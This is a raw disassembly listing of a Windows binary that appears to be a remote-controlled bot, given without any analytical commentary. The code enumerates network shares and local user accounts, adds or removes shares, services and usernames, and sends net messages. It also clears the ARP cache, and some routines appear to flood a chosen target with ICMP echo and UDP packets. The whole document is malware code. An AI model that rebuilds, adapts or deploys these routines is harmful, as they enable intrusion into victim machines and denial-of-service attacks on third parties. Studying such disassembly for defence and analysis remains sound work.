loc_4065A9:				; CODE XREF: sub_40649E+F6j
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_4065B0:				; CODE XREF: sub_40649E+BEj
					; sub_40649E+F1j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_4065B7:				; CODE XREF: sub_40649E+ECj
		push	offset aNetworkConnect ; "Network connection not found."


loc_4065BC:				; CODE XREF: sub_40649E+3Cj
					; sub_40649E+46j ...
		push	offset dword_4338C8
		call	sub_412BB5
		pop	ecx
		pop	ecx
		mov	eax, offset dword_4338C8
		retn
sub_40649E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4065CE	proc near		; CODE XREF: sub_4078FA+1DEFp

var_71C		= byte ptr -71Ch
var_31C		= byte ptr -31Ch
var_10C		= byte ptr -10Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 71Ch
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_71C]
		push	eax
		call	sub_4140FA
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		mov	esi, 108h
		push	eax
		mov	[ebp+var_4], esi
		call	ds:dword_41F0B0	; GetComputerNameA
		push	esi
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_4140FA
		lea	eax, [ebp+var_71C]
		push	eax
		call	sub_413FEE
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_71C]
		push	eax
		push	0
		lea	eax, [ebp+var_31C]
		push	eax
		push	0
		call	dword_4334B4
		test	eax, eax
		jnz	short loc_40665E
		push	offset aNetMessageSent ; "[NET]: Message sent successfully."
		mov	esi, offset dword_433928
		push	esi
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_406685
; ---------------------------------------------------------------------------


loc_40665E:				; CODE XREF: sub_4065CE+7Aj
		lea	ecx, [ebp+var_71C]
		push	ecx
		lea	ecx, [ebp+var_31C]
		push	ecx
		call	sub_40649E
		push	eax
		push	offset aNetSServerSMes ; "[NET]: %s <Server: %S> <Message: %S>"
		mov	esi, offset dword_433928
		push	esi
		call	sub_412BB5
		add	esp, 14h


loc_406685:				; CODE XREF: sub_4065CE+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4065CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40668A	proc near		; CODE XREF: sub_4078FA:loc_4094ECp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4066E0
		push	0
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	dword_42A400[esi]
		push	edi
		push	eax
		call	sub_405BA9
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4066D2
		push	edi
		push	off_42A3FC[esi]
		push	offset aNetSServiceS_ ;	"[NET]:	%s service: '%s'."


loc_4066C2:				; CODE XREF: sub_40668A+54j
		mov	esi, offset dword_433B28
		push	esi
		call	sub_412BB5
		add	esp, 10h
		jmp	short loc_4066FD
; ---------------------------------------------------------------------------


loc_4066D2:				; CODE XREF: sub_40668A+2Aj
		call	sub_405C4B
		push	eax
		push	edi
		push	offset aNetErrorWithSe ; "[NET]: Error with service: '%s'. %s"
		jmp	short loc_4066C2
; ---------------------------------------------------------------------------


loc_4066E0:				; CODE XREF: sub_40668A+Cj
		lea	eax, [eax+eax*2]
		push	off_42A3F8[eax*4]
		mov	esi, offset dword_433B28
		push	offset aNetSNoServiceS ; "[NET]: %s: No	service	specified."
		push	esi
		call	sub_412BB5
		add	esp, 0Ch


loc_4066FD:				; CODE XREF: sub_40668A+46j
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_40668A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406702	proc near		; CODE XREF: sub_4078FA:loc_4095D0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40679A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40672B
		dec	eax
		jnz	short loc_40677A
		push	edi
		push	0
		call	sub_406032
		pop	ecx
		pop	ecx
		jmp	short loc_406776
; ---------------------------------------------------------------------------


loc_40672B:				; CODE XREF: sub_406702+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_406768
		push	24h
		push	edi
		call	sub_413F30
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406768
		push	57h
		pop	eax


loc_406742:				; CODE XREF: sub_406702+76j
		call	sub_40649E
		push	eax
		push	edi
		lea	eax, [esi+esi*2]
		push	off_42A3F8[eax*4]
		mov	esi, offset dword_433D28
		push	offset aNetSErrorWithS ; "[NET]: %s: Error with	share: '%s'. %s"
		push	esi
		call	sub_412BB5
		add	esp, 14h
		jmp	short loc_4067BA
; ---------------------------------------------------------------------------


loc_406768:				; CODE XREF: sub_406702+2Dj
					; sub_406702+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_405FC7
		add	esp, 0Ch


loc_406776:				; CODE XREF: sub_406702+27j
		test	eax, eax
		jnz	short loc_406742


loc_40677A:				; CODE XREF: sub_406702+1Bj
		push	edi
		lea	eax, [esi+esi*2]
		push	off_42A3FC[eax*4]
		mov	esi, offset dword_433D28
		push	offset aNetSShareS_ ; "[NET]: %s share:	'%s'."
		push	esi
		call	sub_412BB5
		add	esp, 10h
		jmp	short loc_4067BA
; ---------------------------------------------------------------------------


loc_40679A:				; CODE XREF: sub_406702+Aj
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+eax*2]
		push	off_42A3F8[eax*4]
		mov	esi, offset dword_433D28
		push	offset aNetSNoShareSpe ; "[NET]: %s: No	share specified."
		push	esi
		call	sub_412BB5
		add	esp, 0Ch


loc_4067BA:				; CODE XREF: sub_406702+64j
					; sub_406702+96j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_406702	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4067C0	proc near		; CODE XREF: sub_4078FA+1D03p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_405F05
		xor	esi, esi
		push	esi
		push	[ebp+arg_8]
		mov	[ebp+var_10], eax
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		mov	[ebp+var_4], esi
		push	[ebp+arg_0]
		mov	[ebp+var_14], esi
		mov	[ebp+var_C], esi
		call	sub_4045DD
		add	esp, 18h


loc_4067F9:				; CODE XREF: sub_4067C0+10Dj
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_8]
		push	eax
		push	1F6h
		push	[ebp+var_10]
		call	dword_4335A0
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40685A
		cmp	ebx, 0EAh
		jz	short loc_40685A
		push	ebx
		call	sub_40649E
		push	eax
		lea	eax, [ebp+var_214]
		push	offset aNetShareListEr ; "[NET]: Share list error: %s <%ld>"
		push	eax
		call	sub_412BB5
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 24h
		jmp	short loc_4068C7
; ---------------------------------------------------------------------------


loc_40685A:				; CODE XREF: sub_4067C0+5Dj
					; sub_4067C0+65j
		xor	edi, edi
		inc	edi
		cmp	[ebp+var_4], edi
		jb	short loc_4068BE
		mov	esi, [ebp+var_8]
		add	esi, 14h


loc_406868:				; CODE XREF: sub_4067C0+FAj
		push	dword ptr [esi+10h]
		call	dword_433598	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40687F
		mov	eax, offset aNo	; "No"


loc_40687F:				; CODE XREF: sub_4067C0+B8j
		push	eax
		push	dword ptr [esi]
		lea	eax, [ebp+var_214]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_412BB5
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+var_4]
		jbe	short loc_406868
		xor	esi, esi


loc_4068BE:				; CODE XREF: sub_4067C0+A0j
		push	[ebp+var_8]
		call	dword_4334D8


loc_4068C7:				; CODE XREF: sub_4067C0+98j
		cmp	ebx, 0EAh
		jz	loc_4067F9
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4067C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4068DF	proc near		; CODE XREF: sub_4078FA:loc_409672p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_406982
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_406921
		dec	eax
		jz	short loc_406916
		dec	eax
		jnz	short loc_40693C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_4060D0
		add	esp, 14h
		jmp	short loc_406938
; ---------------------------------------------------------------------------


loc_406916:				; CODE XREF: sub_4068DF+1Dj
		push	ebx
		push	edi
		call	sub_4060AF
		pop	ecx
		pop	ecx
		jmp	short loc_406938
; ---------------------------------------------------------------------------


loc_406921:				; CODE XREF: sub_4068DF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_406935
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_406055
		add	esp, 0Ch
		jmp	short loc_406938
; ---------------------------------------------------------------------------


loc_406935:				; CODE XREF: sub_4068DF+45j
		push	57h
		pop	eax


loc_406938:				; CODE XREF: sub_4068DF+35j
					; sub_4068DF+40j ...
		cmp	eax, edi
		jnz	short loc_40695C


loc_40693C:				; CODE XREF: sub_4068DF+20j
		push	ebx
		lea	eax, [esi+esi*2]
		push	off_42A3FC[eax*4]
		mov	esi, offset dword_433F28
		push	offset aNetSUsernameS_ ; "[NET]: %s username: '%s'."
		push	esi
		call	sub_412BB5
		add	esp, 10h
		jmp	short loc_4069A2
; ---------------------------------------------------------------------------


loc_40695C:				; CODE XREF: sub_4068DF+5Bj
		call	sub_40649E
		push	eax
		push	ebx
		lea	eax, [esi+esi*2]
		push	off_42A3F8[eax*4]
		mov	esi, offset dword_433F28
		push	offset aNetSErrorWithU ; "[NET]: %s: Error with	username: '%s'. %"...
		push	esi
		call	sub_412BB5
		add	esp, 14h
		jmp	short loc_4069A2
; ---------------------------------------------------------------------------


loc_406982:				; CODE XREF: sub_4068DF+Dj
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+eax*2]
		push	off_42A3F8[eax*4]
		mov	esi, offset dword_433F28
		push	offset aNetSNoUsername ; "[NET]: %s: No	username specified."
		push	esi
		call	sub_412BB5
		add	esp, 0Ch


loc_4069A2:				; CODE XREF: sub_4068DF+7Bj
					; sub_4068DF+A1j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4068DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4069A9	proc near		; CODE XREF: sub_4078FA+1DA5p

var_21C		= byte ptr -21Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	esi
		push	edi
		push	[ebp+arg_C]
		xor	esi, esi
		mov	[ebp+var_4], esi
		call	sub_405F05
		push	esi
		push	[ebp+arg_8]
		mov	[ebp+var_18], eax
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		push	[ebp+arg_4]
		mov	[ebp+var_8], esi
		push	[ebp+arg_0]
		mov	[ebp+var_14], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_C], esi
		call	sub_4045DD
		add	esp, 18h
		push	ebx


loc_4069E8:				; CODE XREF: sub_4069A9+129j
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_4]
		push	eax
		push	2
		push	esi
		push	[ebp+var_18]
		call	dword_433480
		cmp	eax, esi
		mov	[ebp+var_10], eax
		jz	short loc_406A47
		cmp	eax, 0EAh
		jz	short loc_406A47
		push	eax
		call	sub_40649E
		push	eax
		lea	eax, [ebp+var_21C]
		push	offset aNetUserListErr ; "[NET]: User list error: %s <%ld>"
		push	eax
		call	sub_412BB5
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 24h
		jmp	short loc_406AB8
; ---------------------------------------------------------------------------


loc_406A47:				; CODE XREF: sub_4069A9+62j
					; sub_4069A9+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_406ACB
		xor	ebx, ebx
		cmp	[ebp+var_8], esi
		jbe	short loc_406AB8


loc_406A55:				; CODE XREF: sub_4069A9+E7j
		cmp	edi, esi
		lea	eax, [ebp+var_21C]
		jz	short loc_406A94
		push	dword ptr [edi]
		push	offset aS_2	; "  %S"
		push	eax
		call	sub_412BB5
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_C]
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jb	short loc_406A55
		jmp	short loc_406AB8
; ---------------------------------------------------------------------------


loc_406A94:				; CODE XREF: sub_4069A9+B4j
		push	offset aNetAnAccessVio ; "[NET]: An access violation has occured."...
		push	eax
		call	sub_412BB5
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 1Ch


loc_406AB8:				; CODE XREF: sub_4069A9+9Cj
					; sub_4069A9+AAj ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_406ACB
		push	edi
		call	dword_4334D8
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_406ACB:				; CODE XREF: sub_4069A9+A3j
					; sub_4069A9+114j
		cmp	[ebp+var_10], 0EAh
		jz	loc_4069E8
		cmp	edi, esi
		pop	ebx
		jz	short loc_406AE4
		push	edi
		call	dword_4334D8


loc_406AE4:				; CODE XREF: sub_4069A9+132j
		push	[ebp+var_C]
		lea	eax, [ebp+var_21C]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_412BB5
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_10], esi
		pop	edi
		setz	al
		pop	esi
		leave
		retn
sub_4069A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_406B1D	proc near		; CODE XREF: sub_4028A8+7Dp
					; sub_4038B7+4Ap ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_433514	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_406B45
		push	[esp+arg_0]
		call	dword_433500	; gethostbyname
		test	eax, eax
		jnz	short loc_406B3E
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_406B3E:				; CODE XREF: sub_406B1D+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_406B45:				; CODE XREF: sub_406B1D+Dj
		retn
sub_406B1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406B46	proc near		; CODE XREF: sub_40779B+138p
		mov	ecx, dword_433584
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_406B54
		jmp	ecx
; ---------------------------------------------------------------------------

locret_406B54:				; CODE XREF: sub_406B46+Aj
		retn
sub_406B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_406B55	proc near		; CODE XREF: sub_4078FA:loc_40BA88p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 88h
		push	ebx
		push	esi
		xor	eax, eax
		push	edi
		inc	eax
		push	eax
		mov	[ebp+78h+var_4], eax
		lea	eax, [ebp+78h+var_8]
		xor	ebx, ebx
		push	eax
		push	ebx
		xor	esi, esi
		mov	[ebp+78h+var_8], ebx
		call	dword_4334AC	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, ebx
		jz	short loc_406BE5
		sub	ecx, 32h
		jz	loc_406C2C
		sub	ecx, 48h
		jz	short loc_406BB0
		sub	ecx, 6Eh
		jz	short loc_406BA9


loc_406B95:				; CODE XREF: sub_406B55+8Ej
		push	eax
		lea	eax, [ebp+78h+var_88]
		push	offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP	cache: <%"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	short loc_406C0D
; ---------------------------------------------------------------------------


loc_406BA9:				; CODE XREF: sub_406B55+3Ej
		push	offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache	is empty."
		jmp	short loc_406C02
; ---------------------------------------------------------------------------


loc_406BB0:				; CODE XREF: sub_406B55+39j
		push	[ebp+78h+var_8]
		call	sub_41344D
		pop	ecx
		mov	ecx, [ebp+78h+var_8]
		mov	edx, ecx
		mov	esi, eax
		shr	ecx, 2
		xor	eax, eax
		mov	edi, esi
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, ebx
		rep stosb
		jz	short loc_406BFD
		push	1
		lea	eax, [ebp+78h+var_8]
		push	eax
		push	esi
		call	dword_4334AC	; GetIpNetTable
		cmp	eax, ebx
		jnz	short loc_406B95


loc_406BE5:				; CODE XREF: sub_406B55+2Bj
		cmp	[esi], ebx
		jbe	short loc_406C1A
		lea	edi, [esi+4]


loc_406BEC:				; CODE XREF: sub_406B55+A4j
		push	edi
		call	dword_43350C	; DeleteIpNetEntry
		inc	ebx
		add	edi, 18h
		cmp	ebx, [esi]
		jb	short loc_406BEC
		jmp	short loc_406C1A
; ---------------------------------------------------------------------------


loc_406BFD:				; CODE XREF: sub_406B55+7Dj
		push	offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to	allocation ARP ca"...


loc_406C02:				; CODE XREF: sub_406B55+59j
					; sub_406B55+DCj
		lea	eax, [ebp+78h+var_88]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_406C0D:				; CODE XREF: sub_406B55+52j
		lea	eax, [ebp+78h+var_88]
		push	eax
		mov	[ebp+78h+var_4], ebx
		call	sub_401C33
		pop	ecx


loc_406C1A:				; CODE XREF: sub_406B55+92j
					; sub_406B55+A6j
		push	esi
		call	sub_412FE4
		mov	eax, [ebp+78h+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 78h
		leave
		retn
; ---------------------------------------------------------------------------


loc_406C2C:				; CODE XREF: sub_406B55+30j
		push	offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"...
		jmp	short loc_406C02
sub_406B55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C33	proc near		; CODE XREF: sub_401141+21Bp
					; sub_401141+32Ap ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], 10h
		call	dword_433418	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		mov	esi, offset dword_434128
		push	esi
		call	sub_412BB5
		add	esp, 18h
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_406C33	endp


; =============== S U B	R O U T	I N E =======================================



sub_406C89	proc near		; CODE XREF: sub_41046C+437p
					; sub_41046C+48Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_406CB4
		lea	eax, [ecx-2]
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+4+arg_0]
		push	edi


loc_406CA7:				; CODE XREF: sub_406C89+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_406CA7
		pop	edi
		jmp	short loc_406CB8
; ---------------------------------------------------------------------------


loc_406CB4:				; CODE XREF: sub_406C89+Aj
		mov	esi, [esp+4+arg_0]


loc_406CB8:				; CODE XREF: sub_406C89+29j
		test	ecx, ecx
		jz	short loc_406CC1
		movzx	eax, byte ptr [esi]
		add	edx, eax


loc_406CC1:				; CODE XREF: sub_406C89+31j
		mov	ecx, edx
		shr	ecx, 10h
		and	edx, 0FFFFh
		add	ecx, edx
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		pop	esi
		retn
sub_406C89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CD9	proc near		; DATA XREF: sub_4078FA+50A8o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_412DD0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		pop	ecx
		mov	esi, eax
		xor	ebx, ebx
		lea	edi, [ebp+var_144]
		rep movsd
		inc	ebx
		mov	[eax+120h], ebx
		call	dword_4334F0	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_433514	; inet_addr
		mov	esi, eax
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_406D32
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_433500	; gethostbyname
		test	eax, eax
		jz	short loc_406D38


loc_406D32:				; CODE XREF: sub_406CD9+46j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_406D96


loc_406D38:				; CODE XREF: sub_406CD9+57j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset aPingErrorSendi ; "[PING]: Error	sending	pings to %s."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_28], 0
		jnz	short loc_406D7A
		push	0
		push	[ebp+var_2C]
		lea	eax, [ebp+var_344]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_4045DD
		add	esp, 14h


loc_406D7A:				; CODE XREF: sub_406CD9+7Ej
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_401C33
		push	[ebp+var_30]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	ebx
		jmp	loc_406E5B
; ---------------------------------------------------------------------------


loc_406D96:				; CODE XREF: sub_406CD9+5Dj
		test	eax, eax
		jz	short loc_406DA6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_406DA9
; ---------------------------------------------------------------------------


loc_406DA6:				; CODE XREF: sub_406CD9+BFj
		mov	[ebp+var_4], esi


loc_406DA9:				; CODE XREF: sub_406CD9+CBj
		push	7
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		cmp	[ebp+var_3C], eax
		jle	short loc_406DC4
		mov	[ebp+var_3C], eax


loc_406DC4:				; CODE XREF: sub_406CD9+E6j
		cmp	[ebp+var_38], ebx
		jge	short loc_406DCC
		mov	[ebp+var_38], ebx


loc_406DCC:				; CODE XREF: sub_406CD9+EEj
		xor	edi, edi
		xor	esi, esi
		cmp	[ebp+var_40], edi
		jle	short loc_406DFB


loc_406DD5:				; CODE XREF: sub_406CD9+120j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	edi
		push	[ebp+var_3C]
		lea	eax, [ebp+var_10320]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_433588	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_406DD5


loc_406DFB:				; CODE XREF: sub_406CD9+FAj
		push	[ebp+arg_0]
		call	dword_433524	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset aPingFinishedSe ; "[PING]: Finished sending pings to %s."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_28], edi
		jnz	short loc_406E44
		push	edi
		push	[ebp+var_2C]
		lea	eax, [ebp+var_344]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_4045DD
		add	esp, 14h


loc_406E44:				; CODE XREF: sub_406CD9+149j
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_401C33
		push	[ebp+var_30]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	edi


loc_406E5B:				; CODE XREF: sub_406CD9+B8j
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_406CD9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E62	proc near		; DATA XREF: sub_4078FA+5201o

var_10316	= byte ptr -10316h
var_10314	= byte ptr -10314h
var_338		= byte ptr -338h
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10314h
		call	sub_412DD0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	49h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_138]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		call	ds:dword_41F004	; GetTickCount
		push	eax
		call	sub_412D64
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4334A0	; socket
		mov	[ebp+var_4], eax
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_B4]
		push	eax
		mov	[ebp+var_14], 2
		call	dword_433514	; inet_addr
		xor	edi, edi
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_406F3D
		lea	eax, [ebp+var_B4]
		push	eax
		call	dword_433500	; gethostbyname
		mov	ecx, eax
		cmp	ecx, edi
		jnz	short loc_406F3D
		lea	eax, [ebp+var_B4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset aUdpErrorSendin ; "[UDP]: Error sending pings to	%s."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_1C], edi
		jnz	short loc_406F21
		push	edi
		push	[ebp+var_20]
